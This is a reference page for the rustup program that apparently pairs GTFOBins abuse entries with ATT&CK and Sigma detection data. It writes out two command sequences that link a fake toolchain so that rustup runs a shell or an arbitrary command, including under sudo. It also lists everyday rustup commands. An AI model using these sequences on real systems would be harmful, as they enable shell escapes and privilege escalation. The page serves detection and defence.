Identifier / Programs / Linux and Unix
rustup
Install, manage, and update Rust toolchains. Some subcommands such as toolchain, target, update, etc. have their own usage documentation. tldr-pages
GTFOBins command, shell 1 ATT&CK technique 2 documented commands
How rustup is abused
command
toolchain
shell T1059.004 Command and Scripting Interpreter: Unix Shell
toolchain
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for rustup.
2 documented commands
command unprivileged, with sudo
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
echo '/path/to/command' >/path/to/temp-dir/bin/rustc
chmod +x /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustcshell unprivileged, with sudo
mkdir /path/to/temp-dir/bin/
mkdir /path/to/temp-dir/lib/
cp /bin/sh /path/to/temp-dir/bin/rustc
rustup toolchain link x /path/to/temp-dir/
rustup run x rustcNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for rustup. The identifier reads the line of each that runs rustup.
What detects it
Everyday use
Install the nightly toolchain for your system
rustup install nightlyIdentifySwitch the default toolchain to nightly so that the cargo and rustc commands will use it
rustup default nightlyIdentifyUse the nightly toolchain when inside the current project but leave global settings unchanged
rustup override set nightlyIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.